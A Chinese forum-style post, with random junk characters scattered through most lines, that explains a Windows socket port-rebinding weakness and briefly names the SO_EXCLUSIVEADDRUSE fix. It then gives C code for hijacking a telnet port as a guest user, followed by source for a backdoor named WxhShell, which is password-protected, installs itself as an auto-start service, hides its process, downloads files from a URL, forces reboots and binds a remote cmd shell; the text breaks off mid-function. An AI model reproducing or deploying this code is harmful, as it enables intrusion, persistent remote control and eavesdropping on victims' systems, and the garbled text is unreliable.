在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
~H[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
t')47k\ i$~2pr saddr.sin_family = AF_INET;
N=1zhI:VaQ AJk0jh\.j% saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ao4"=My*G dGxk
ql bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)tH.P:
1~, mR3)$! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
l@ +lUx8 %4F
Q~ 这意味着什么?意味着可以进行如下的攻击:
8(yZX4OH> hu?Q,[+o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
g"k1O 8>T#sO?+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Y ^s_v_s |eN#9Bm 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5a$Q}!6E.Y qJjXN+/D 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
UDjmXQ2, ~7!=<MW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
\!!qzrq ~%SmH[i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
RCXm</
L-B"P& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xvP=i/SO l(c2 B #include
Q5[x2 s_ d #include
lSMv9:N #include
bve_*7CEM #include
{WBe(dc_% DWORD WINAPI ClientThread(LPVOID lpParam);
+iS'$2)@ int main()
;E Z5/"T {
9YpgzCx
Z WORD wVersionRequested;
N$\'X<{ DWORD ret;
eWKFs)C] WSADATA wsaData;
p~Tp=d)/ BOOL val;
glMYEGz6p SOCKADDR_IN saddr;
rF9|xgFK SOCKADDR_IN scaddr;
[}xVz"8 V int err;
6`KR SOCKET s;
,2t|(V*"& SOCKET sc;
$8/=@E{51 int caddsize;
yyp0GV.x HANDLE mt;
?vmu,y DWORD tid;
SM57bN wVersionRequested = MAKEWORD( 2, 2 );
8Zj=:; err = WSAStartup( wVersionRequested, &wsaData );
9((BOq if ( err != 0 ) {
'eyzH[l,( printf("error!WSAStartup failed!\n");
lk.]!K$} return -1;
%7w=; ]ym }
w=NM==cLj saddr.sin_family = AF_INET;
OQlmzg u|;?FQ$M //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
VI xGD#m [&_7w\m saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
RIhu9W saddr.sin_port = htons(23);
d=`a-R0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
968<yO] {
{6*$ yLWK printf("error!socket failed!\n");
:G.u{cw return -1;
@nC][gNv }
b 7XTOB_HO val = TRUE;
;jgk53lo //SO_REUSEADDR选项就是可以实现端口重绑定的
_Y{8FN(4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7aF'E1e'3 {
U yb -feG printf("error!setsockopt failed!\n");
,/fB~On- return -1;
[b2KBww\ }
.uh>S!X, ] //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
,6J{-Iu //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
CP]nk0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
7 XNZEi9o 7
KuUV!\h` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
~FP4JM,y6 {
]\~s83?X ret=GetLastError();
u%t/W0xi printf("error!bind failed!\n");
r\PO?1 return -1;
ZVelKI8> }
c)*,">$# listen(s,2);
l|kGp~ while(1)
ftb .CPWI {
T!f+H?6 caddsize = sizeof(scaddr);
VyMFALSe]h //接受连接请求
?l> <?i sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Vn=K5nm if(sc!=INVALID_SOCKET)
?[Sac]h
ys {
!_?K(X~/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1Yk!R9. if(mt==NULL)
{6I)6}w!k {
r,43 gg printf("Thread Creat Failed!\n");
0hNgr' break;
0?$jC-@k: }
/` ;rlH* }
;L*Ku'6Mt CloseHandle(mt);
]>9[}'u }
.4[\%r\i closesocket(s);
_J,lF-, WSACleanup();
'?Jz8iu- return 0;
Z|#G+$"QV }
htuYctu` DWORD WINAPI ClientThread(LPVOID lpParam)
:5'8MU {
#Dz. 58A SOCKET ss = (SOCKET)lpParam;
4)Bk:K SOCKET sc;
.5^7Jwh unsigned char buf[4096];
5i0vli/L SOCKADDR_IN saddr;
]/#3 P long num;
yI{4h $c DWORD val;
XLgp.w; DWORD ret;
N,3 )`Vm //如果是隐藏端口应用的话,可以在此处加一些判断
DqJzsk'd3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
"C]v saddr.sin_family = AF_INET;
qo*%S saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;hV-*;> saddr.sin_port = htons(23);
S4Q
fx6:~h if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
UfkQG`G9H {
Hk 0RT%PK printf("error!socket failed!\n");
{3* Ne / return -1;
r`\6+ Ntb. }
d)WGI
RUx val = 100;
Ajm if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
oypF0?!m {
N Zu2D ret = GetLastError();
Z~3 return -1;
u2E}DhV }
vWH)W?2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W^,(we {
9dO. ,U*` ret = GetLastError();
7~qyz]KkE return -1;
Yq-Vwh/ }
YlC$L$%Zd. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:^En\YcU {
X()yhe_ printf("error!socket connect failed!\n");
4T>d%Tt+) closesocket(sc);
9 gc0Ri[4m closesocket(ss);
)i^S:2 return -1;
adn2&7H }
`'E(L& while(1)
fzJ^`
{
h]vuBHJ} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"oT&KW //如果是嗅探内容的话,可以再此处进行内容分析和记录
&?H`MCvt //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
adtgNwg num = recv(ss,buf,4096,0);
%BwvA_T'Q if(num>0)
M nnVk= send(sc,buf,num,0);
WkMB else if(num==0)
P_.zp5> break;
o_sb+Vn| num = recv(sc,buf,4096,0);
$/kZKoF{f if(num>0)
Tg@:mw5 send(ss,buf,num,0);
xyrlR;Sk else if(num==0)
SUb:0GUa break;
,Ma%"cWVC }
NtG^t}V closesocket(ss);
`D? &)Y closesocket(sc);
#G]g return 0 ;
O%1uBc }
T(=Z0M V`4/oM` sZ>0*S ==========================================================
6Qn};tbnD ?s@=DDB\u 下边附上一个代码,,WXhSHELL
blKF78 ]64pb;w"$D ==========================================================
=eQ'^3a ROJ=ZYof #include "stdafx.h"
cKB1o0JsYJ ckkm}|&m #include <stdio.h>
ID~}pEQ #include <string.h>
fD*jzj7o, #include <windows.h>
&S=xSs:q. #include <winsock2.h>
gn:&akg #include <winsvc.h>
P>hR${KE #include <urlmon.h>
Hyb_>n fp?/Dg"49. #pragma comment (lib, "Ws2_32.lib")
C.RXQ`-P} #pragma comment (lib, "urlmon.lib")
9*S9~ cDq*B*e #define MAX_USER 100 // 最大客户端连接数
0"l`M5-KP #define BUF_SOCK 200 // sock buffer
+' SG$<Xv #define KEY_BUFF 255 // 输入 buffer
&<EixDi4q &&7&/
#define REBOOT 0 // 重启
07G'"= #define SHUTDOWN 1 // 关机
r<[G~n BUUc9&f3o #define DEF_PORT 5000 // 监听端口
=@P]eK/ I&f!>y?,Z #define REG_LEN 16 // 注册表键长度
Eih6?Lpu #define SVC_LEN 80 // NT服务名长度
PU-L,]K '3=@UBs // 从dll定义API
a(AYY<g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/<k]mY cu typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
m>f8RBp]' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0|| 5r# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
32p9(HQ 7.tIf
<^$P // wxhshell配置信息
;+*/YTkC+P struct WSCFG {
<q`|,mc int ws_port; // 监听端口
GsoD^mjY char ws_passstr[REG_LEN]; // 口令
V*W H int ws_autoins; // 安装标记, 1=yes 0=no
[$@EQ]tt/ char ws_regname[REG_LEN]; // 注册表键名
_Mi*Fvj char ws_svcname[REG_LEN]; // 服务名
> .K char ws_svcdisp[SVC_LEN]; // 服务显示名
lv#L+}T char ws_svcdesc[SVC_LEN]; // 服务描述信息
?(Xy 2%v char ws_passmsg[SVC_LEN]; // 密码输入提示信息
HHL7z,%f int ws_downexe; // 下载执行标记, 1=yes 0=no
eyy%2>b char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
L\q-Z.. char ws_filenam[SVC_LEN]; // 下载后保存的文件名
y$9XHubu yeLd,M/I };
S;tvt/\!Z _FkH;MG WS // default Wxhshell configuration
k54b@U52 h struct WSCFG wscfg={DEF_PORT,
pp+z5 "xuhuanlingzhe",
_adW>-wQ!d 1,
Y/f8rN "Wxhshell",
Z fd `Fu "Wxhshell",
v,Z?pYYo "WxhShell Service",
x b!&'cw "Wrsky Windows CmdShell Service",
s=Xg6 D "Please Input Your Password: ",
Ap> H-/C 1,
l6N"{iXU "
http://www.wrsky.com/wxhshell.exe",
SP;1XXlL "Wxhshell.exe"
aWY#gI{ };
k{ulu y>c Yw! // 消息定义模块
y
m?uj4I{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
drJUfsxV char *msg_ws_prompt="\n\r? for help\n\r#>";
usw(]CnH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!O4)YM char *msg_ws_ext="\n\rExit.";
TiKfIv char *msg_ws_end="\n\rQuit.";
LC qWL1 char *msg_ws_boot="\n\rReboot...";
S&F;~ char *msg_ws_poff="\n\rShutdown...";
x_- SAyH char *msg_ws_down="\n\rSave to ";
ywj'O
e41 >VJ"e` char *msg_ws_err="\n\rErr!";
QO %;%p* char *msg_ws_ok="\n\rOK!";
,L; y>::1 nnTiu,2R char ExeFile[MAX_PATH];
A3|X`X int nUser = 0;
qmtH0I7) HANDLE handles[MAX_USER];
WH<\f|xR int OsIsNt;
f%yNq6l (8(P12l SERVICE_STATUS serviceStatus;
<m*j1|^{t SERVICE_STATUS_HANDLE hServiceStatusHandle;
`We?j7O 6 )lWuY]e // 函数声明
ZQyX zERp int Install(void);
zor int Uninstall(void);
6%MM)Vj+u int DownloadFile(char *sURL, SOCKET wsh);
\q"vC1,9 int Boot(int flag);
n`D-?]* void HideProc(void);
m,Mg int GetOsVer(void);
2^)_XVX1 int Wxhshell(SOCKET wsl);
A27!I+M void TalkWithClient(void *cs);
^xq)Q?[{ int CmdShell(SOCKET sock);
]'<"qY int StartFromService(void);
EME}G42KN int StartWxhshell(LPSTR lpCmdLine);
|N|[E5Cn - H`,`#{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#<vzQ\~Y VOID WINAPI NTServiceHandler( DWORD fdwControl );
db.~^][k I.p"8I; // 数据结构和表定义
10tt' : SERVICE_TABLE_ENTRY DispatchTable[] =
=cI> { {
[x0*x~1B {wscfg.ws_svcname, NTServiceMain},
;".]W;I*O {NULL, NULL}
WL;2&S/{@ };
a[J_H$6H! <FwAV=}6p // 自我安装
4+Y9":< int Install(void)
SKo*8r {
!Hj
7|5 char svExeFile[MAX_PATH];
{m"I-VF HKEY key;
w}?,N strcpy(svExeFile,ExeFile);
1~S''[ 0NXaAf:2Z // 如果是win9x系统,修改注册表设为自启动
'\P+Bu]6& if(!OsIsNt) {
=/19 -Y: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}ok'd=M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[jTZxH< RegCloseKey(key);
)Mh5q&ow if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{"_V,HmEF+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]:Pkh./ RegCloseKey(key);
1n#{c5T return 0;
)H{OqZZYD }
;pG5zRe }
*s?C\)x }
yS4nB04`= else {
`m\ ?gsw7 R.rE+gxO1 // 如果是NT以上系统,安装为系统服务
@4>?Y=# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Q7_#k66gb7 if (schSCManager!=0)
.8XkB<[wb {
PUC:Pl77 SC_HANDLE schService = CreateService
;W3c|5CE (
6\x/Z=}L schSCManager,
`rpmh7*WV wscfg.ws_svcname,
a lyA#zao| wscfg.ws_svcdisp,
&&Otj-n5 SERVICE_ALL_ACCESS,
ki8Jl}dr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
/p)y!5e SERVICE_AUTO_START,
Hqb-)8 ~ SERVICE_ERROR_NORMAL,
B]PG svExeFile,
3*e )D/lm NULL,
,P X7}//X^ NULL,
uC?/p1 NULL,
j^ttTq|l NULL,
hn e}G._b NULL
~'LoIv20j) );
l>pnY%(A if (schService!=0)
M aP - {
fjHd"!)3 CloseServiceHandle(schService);
gh%Q9Ni- CloseServiceHandle(schSCManager);
T8Ye+eP} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
sbV_h;< strcat(svExeFile,wscfg.ws_svcname);
g8]$BhRIfr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
BWzo|isv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
GX N:= RegCloseKey(key);
$~r=I[5'( return 0;
XW*d\vDun }
1(/rg }
}LX.gm CloseServiceHandle(schSCManager);
)Hqn }
P]4@|u;=6[ }
(!T\[6 fKa]F`p_h return 1;
VKy3tW/_& }
SKVQ !^o Cil1wFBb // 自我卸载
$
3R5p int Uninstall(void)
xS_tB)C {
;eP.B/N HKEY key;
nDXy$f8 Su k;##I if(!OsIsNt) {
|q 0iX2W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qO>A6 RegDeleteValue(key,wscfg.ws_regname);
vcSb:(' RegCloseKey(key);
MwWN;_#EO) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
NZuylQ)0 RegDeleteValue(key,wscfg.ws_regname);
":L d}~> RegCloseKey(key);
r,ep{
p return 0;
2&:nHZ) }
Rc~63![O. }
,772$7x }
%D[6;PT else {
|w.5*]?H +\Je
B/F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
j`-9. if (schSCManager!=0)
67 wq8| {
kQ .3J.Q5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
!D9V9p if (schService!=0)
=]-D_$S~ {
uD:tT~ if(DeleteService(schService)!=0) {
)"s(;kU! CloseServiceHandle(schService);
0;" >. CloseServiceHandle(schSCManager);
O_Z return 0;
Y%8[bL$
d }
IR"=8w#MP CloseServiceHandle(schService);
~.Cu,>fV }
-7m7.>/M CloseServiceHandle(schSCManager);
xUDXg* }
G V% @A }
y{QF#&lW }?Tz=hP return 1;
A )xfO- }
Uy$?B"Z 0lpUn74F // 从指定url下载文件
{Lvta4}7( int DownloadFile(char *sURL, SOCKET wsh)
D__*?frWpW {
{y|j**NZ HRESULT hr;
n)rSgzI char seps[]= "/";
G\
/L.T char *token;
trL8oZ6 char *file;
Pol
c. char myURL[MAX_PATH];
"XKd#ncP char myFILE[MAX_PATH];
kj!mgu#T nPjN\Es6 strcpy(myURL,sURL);
<nF1f(ky token=strtok(myURL,seps);
&=laZxe while(token!=NULL)
UvVq# <- {
f/g-b]0 file=token;
YJBf~0r token=strtok(NULL,seps);
mA6Nmq%{ F }
incUa; ASaNac-3 GetCurrentDirectory(MAX_PATH,myFILE);
tN&X1 strcat(myFILE, "\\");
;h7O_|<% strcat(myFILE, file);
E^t}p[s send(wsh,myFILE,strlen(myFILE),0);
2$?j'i! send(wsh,"...",3,0);
"@@Z{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
o*s3"Ib if(hr==S_OK)
qr?RU .W return 0;
C8
"FTH' else
T :X A return 1;
>FReGiK$T q%MLj./?[ }
$(;0;!t. usI$ // 系统电源模块
~)iQbLI int Boot(int flag)
2-gI@8NPI {
TRQH{O\O HANDLE hToken;
B0:/7Ld$Ml TOKEN_PRIVILEGES tkp;
%o#|zaK iFaC[(1@a if(OsIsNt) {
go5l<:9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
HH'5kE0;d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|1Pi`^ tkp.PrivilegeCount = 1;
A{ a`%FAV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]nQ(|$rW
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^I6GH?19>e if(flag==REBOOT) {
aKC3vR0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+zSdP2s return 0;
6#1:2ZHKG }
jW_FaPW(p else {
`rI[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
XnV$}T:?X return 0;
nWv6I& }
M7SVD[7~HM }
VseeU;q else {
s@5r}6?M if(flag==REBOOT) {
[USE&_RN if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
u
YJL^I8M' return 0;
[7gwJiK }
!7aJfs2 else {
Bhw|!Y&% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Y(P<9m: return 0;
T'e
p&tNY }
KVCj06}j }
gD/% l[ 6O'6,%# return 1;
cY[qX/0~ }
F9C3i ;n=A245W\ // win9x进程隐藏模块
ob"yz } void HideProc(void)
_hs\"W {
D``>1IA] O,?aVgY HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-WK if ( hKernel != NULL )
g'1ASMuR {
\9s x_T pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
-87]$ ax ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@2)ImgK[ FreeLibrary(hKernel);
K^+}__;] }
8S7 YVsDz" ouR(l; return;
\P7y&`| }
vP{;'R P0XVR_TJf // 获取操作系统版本
bdkxCt int GetOsVer(void)
1PjqXgN5p {
Blnc y OSVERSIONINFO winfo;
uQtwh08i winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
'7TT4~F GetVersionEx(&winfo);
d3K-| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Q!"W)tD return 1;
,7|Wf
%X else
SjB#"A5 return 0;
]<?7CpP }
mL[Y{t#N *IBCThj // 客户端句柄模块
u3@v int Wxhshell(SOCKET wsl)
e&J_uG {
D^e7%FX SOCKET wsh;
;gNoiAxW struct sockaddr_in client;
52d8EGC DWORD myID;
ZMI
vzQYI N"rZK/@} while(nUser<MAX_USER)
dt|f4XWF {
~6-6aYhe int nSize=sizeof(client);
h`b[c.% wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*]RCfHo\= if(wsh==INVALID_SOCKET) return 1;
a#4 'X* SebJ}P1x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
N_),'2 if(handles[nUser]==0)
Ig M_l= closesocket(wsh);
F(#~.i else
AV*eGzz` nUser++;
m5rJY/ }
!_SIq`5]@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;l>C[6] W^AY:#eX~Q return 0;
7JHS8C<] }
Kk_h&by? }MV=I$S2U // 关闭 socket
' 5%`[& void CloseIt(SOCKET wsh)
A/#Xr {
sCE2 F_xjL closesocket(wsh);
d T*8I0\+ nUser--;
rc9Y:(S1l ExitThread(0);
#cD20t }
'4}c1F1T_ <UMT:`h1MZ // 客户端请求句柄
37QXML void TalkWithClient(void *cs)
]J* y`jn {
lTn~VsoRZ ~ok i s SOCKET wsh=(SOCKET)cs;
O9tgS@*Tv char pwd[SVC_LEN];
bxA1fA; char cmd[KEY_BUFF];
@Xb>GPVe#L char chr[1];
=ykOh_M int i,j;
C#A\Rfi 5zBayJh# while (nUser < MAX_USER) {
d$(>=gzBQ {!9i8T if(wscfg.ws_passstr) {
wu2C!gyBo if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`Ufv,_n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
J\ V.J/ //ZeroMemory(pwd,KEY_BUFF);
3Ta<7tEM i=0;
Cq-#|+zr while(i<SVC_LEN) {
.6D9m.Q, xFY<
ns // 设置超时
~1yMw.04V fd_set FdRead;
tuiQk=[c struct timeval TimeOut;
bn$}U.m$- FD_ZERO(&FdRead);
11Hf)]M
FD_SET(wsh,&FdRead);
tSvklI TimeOut.tv_sec=8;
U.B=%S TimeOut.tv_usec=0;
{k}EWV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p!~{<s] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
q
T pvz Y4B<]C4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
J|BZ{T}d pwd
=chr[0]; VF<C#I
if(chr[0]==0xd || chr[0]==0xa) { 6(X5n5C
pwd=0; >.-$?2
break; t9Nu4yl
} *(4TasQu
i++; Y/1,%8n
} o-D,K dY
A|esVUo<3^
// 如果是非法用户,关闭 socket 9IRvbE~2
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _\tGmME37
} GK/Q]}Q8pZ
9C{\=?e;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3koXM_4_{)
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3oCw(Ff
",
:Ta|
while(1) { "n3i(sZ
;5.o;|w?!
ZeroMemory(cmd,KEY_BUFF); 6!3Jr
I:qfB2tL)O
// 自动支持客户端 telnet标准 o,sw[
j=0; T"GuE[?a
while(j<KEY_BUFF) { /@H2m\vBX
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); joN}N }U
cmd[j]=chr[0]; $.z~bmH"D
if(chr[0]==0xa || chr[0]==0xd) { +H K)A%QI
cmd[j]=0; yeCR{{B/'
break; <9s=K\-
} y ;4h'y>#
j++; cc%O35o
} ($oO,
c'z
4P>tGO&*x
// 下载文件 4#qjRmt
if(strstr(cmd,"http://")) { $pT%7jV}
send(wsh,msg_ws_down,strlen(msg_ws_down),0); <}E^r_NvD
if(DownloadFile(cmd,wsh)) Bn"r;pqWiT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [wM<J$=2
else m7XJe[O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qjj:r~l
} Qn7l-:`?
else { |m%M$^sZ}
&E{5k{Y
switch(cmd[0]) { 6rnehv!p
@x@w<e%
// 帮助 PSdH9ea
case '?': { r]{fjw(~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p.2>-L
break; O^]I>A#d
} 8dw]i1t<
// 安装 :8_`T$8i4
case 'i': { {tE/Jv $
if(Install()) %(-YOTDr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (jD..qMs#
else a .5s5g)8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T2wn!N?r
break; afEp4(X~
} W7as=+;X
// 卸载 fJCh
case 'r': { wE75HE`gW
if(Uninstall()) RZfC?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >5Zpx8W
else ^gFjm~2I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7F-b/AdVq
break; g)'tr
'
} K.2M=Q
// 显示 wxhshell 所在路径 %f;(
case 'p': { f*~ 4Kv
char svExeFile[MAX_PATH]; LoG@(g&)
strcpy(svExeFile,"\n\r"); Yi[dS`,d
strcat(svExeFile,ExeFile); t.pg;#
send(wsh,svExeFile,strlen(svExeFile),0); Uc0AsUu}?
break; Q:~w;I
} @2_s;!K
// 重启 <LW|m7
case 'b': { $Yz &x%Lb
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HHZ!mYr
if(Boot(REBOOT)) kXC.rgal
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bE>3D#V<
else { b,a\`%m}
closesocket(wsh); ^+[o+
ExitThread(0); 2vnzB8"k
} FGx_qBG4|
break; dITnPb)i
} G
7)D+],{Y
// 关机 v%<_Mh
case 'd': { fC3IxlG
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #|XEBOmsQ
if(Boot(SHUTDOWN)) 0iXqAa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =X X_Cnn
else { V8Q#%#)FHe
closesocket(wsh); Kc udWW]
ExitThread(0); 8{+~3@T
} @sKAsn
break; 16N8h]l
} _3p:q.
// 获取shell 73~Mq7~8
case 's': { }WGi9\9T&
CmdShell(wsh); F.8{
H9`
closesocket(wsh); w=e,gNO
ExitThread(0); N0RFPEQ~
break; F'CUkVC0~P
} >2syF{`j
// 退出 f9- |!]s
case 'x': { 8
(^2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >KY\Bx
CloseIt(wsh); >q &ouVE
break; TjI NxP-O
} e+R.0E
// 离开 xdo{4XY^*W
case 'q': { HHnabSn}{q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); MF\n@lX
closesocket(wsh); jX&&@zMq
WSACleanup(); !CBx$1z
exit(1); Mty]LMK
break; J#V`W&\,6
} /1li^</|p`
} el|t6ZT*
} ~POeFZ
Br~%S?4"o
// 提示信息 ^/n[5@6H
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3`9*Hoy0c
} PYHm6'5BtB
} $PS5xD~@
b"FsT
return; ,t+ATaOF
} r3j8[&B"
Zc4hjg
// shell模块句柄 "}HQ)54&
int CmdShell(SOCKET sock) _Mt:^H}Sy
{ aY:(0en]&
STARTUPINFO si; f,L
ZeroMemory(&si,sizeof(si)); pn $50c
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M.8!BB7\8e
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w|nVK9.
PROCESS_INFORMATION ProcessInfo; EhFhL4Xdn
char cmdline[]="cmd"; 93WYZNpX
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~v54$#CB
return 0; iz^wBQ
} R-Fi`#PG2
hE6tu'
// 自身启动模式 ewY[vbF
int StartFromService(void) CQ( @7
{ |%V.Lae
typedef struct fBLd5
{ qBNiuV;*
DWORD ExitStatus; `X^e}EGWu
DWORD PebBaseAddress; YqJIp. Z
DWORD AffinityMask; Ez$5wY^J
DWORD BasePriority; n#&RY%#`
ULONG UniqueProcessId; f<;9q?0V F
